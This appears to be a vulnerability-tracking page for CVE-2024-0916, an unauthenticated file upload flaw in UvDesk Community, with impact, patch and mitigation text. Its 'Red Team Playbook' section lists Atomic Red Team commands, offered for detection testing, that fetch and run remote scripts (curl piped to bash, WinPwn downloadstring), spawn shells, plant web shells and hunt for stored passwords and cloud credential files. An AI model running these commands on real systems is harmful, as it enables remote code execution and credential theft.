CVE-2024-0916
Overview
The vulnerability is an unauthenticated file upload flaw classified under CWE-434. It arises from insufficient validation and sanitization of uploaded files within the UvDesk Community software, specifically in the file handling component. This allows attackers to upload arbitrary files without authentication, affecting versions 1.0.0 through 1.1.3.
Vulnerability Description
Unauthenticated file upload allows remote code execution. This issue affects UvDesk Community: from 1.0.0 through 1.1.3.
Impact
An attacker with network access can exploit this vulnerability without any authentication or user interaction to upload and execute arbitrary code on the affected server. This leads to full system compromise, including confidentiality, integrity, and availability impacts as indicated by the CVSS vector (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H). The exploitation can result in data breaches, service disruption, and potential lateral movement within the victim's environment.
Solution
Users of UvDesk Community should upgrade to versions later than 1.1.3 as detailed in the official GitHub patch https://github.com/uvdesk/core-framework/pull/706, which contains the fix for the file upload validation flaw. Administrators are advised to apply this update promptly to mitigate the vulnerability. Additional guidance and verification steps are available in the vendor's advisory linked via https://pentraze.com/vulnerability-reports/. No alternative workarounds are documented.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in question pertains to an unauthenticated file upload mechanism within the UvDesk Community platform, specifically affecting versions from 1.0.0 through 1.1.3. This flaw allows an attacker to upload arbitrary files to the server without authentication, leading to potential remote code execution. The underlying issue arises from insufficient validation of uploaded files, which can enable an attacker to bypass security controls. By exploiting this vulnerability, an attacker can upload malicious scripts or executables that the server may inadvertently execute, thereby compromising the integrity and confidentiality of the system.
Exploitation of this vulnerability can occur through various attack vectors. An attacker could craft a malicious request to upload a file containing executable code disguised as a benign file type, such as an image or document. Once the file is uploaded to the server, the attacker may then access it via a direct URL, triggering the execution of the malicious code. This scenario can be further exacerbated in environments where the web server is configured to execute scripts from uploaded files, thereby allowing the attacker to gain control over the server. Additionally, if the server is part of a larger network, the attacker may leverage this access to pivot and target other systems, amplifying the potential impact of the attack.
The real-world implications of this vulnerability are significant, particularly for organizations relying on the UvDesk Community platform for customer support and ticket management. An attacker exploiting this flaw could gain unauthorized access to sensitive data, disrupt services, or even deploy ransomware. The potential for data breaches could lead to severe reputational damage, loss of customer trust, and financial repercussions, including regulatory fines if personal data is compromised. Furthermore, the high CVSS score of 10.0 indicates that this vulnerability poses an extreme risk, necessitating immediate attention from affected organizations to mitigate the threat.
To detect and mitigate this vulnerability, organizations should implement several strategies. Firstly, it is crucial to apply security patches and updates provided by the UvDesk development team to ensure that the platform is running a secure version. Additionally, organizations should employ a robust file validation mechanism that checks the file type, size, and content before allowing uploads. Implementing a web application firewall (WAF) can also help filter out malicious requests and provide an additional layer of security. Regular security assessments, including penetration testing and vulnerability scanning, should be conducted to identify and remediate potential weaknesses in the system. Finally, educating users about secure file handling practices can further reduce the risk of exploitation.
In conclusion, the unauthenticated file upload vulnerability in the UvDesk Community platform presents a critical security risk that can lead to severe consequences if left unaddressed. Organizations must take proactive measures to secure their systems, including applying patches, enhancing file validation, and implementing comprehensive security practices. By understanding the nature of this vulnerability and its potential impact, organizations can better prepare themselves to defend against such threats and protect their valuable assets.
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-1 | Accessing Functionality Not Properly Constrained by ACLs |
30%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-0916 |
| github.com |
GitHub CVE
|
https://github.com/uvdesk/core-framework/pull/706 |
| pentraze.com |
GitHub CVE
|
https://pentraze.com/vulnerability-reports/ |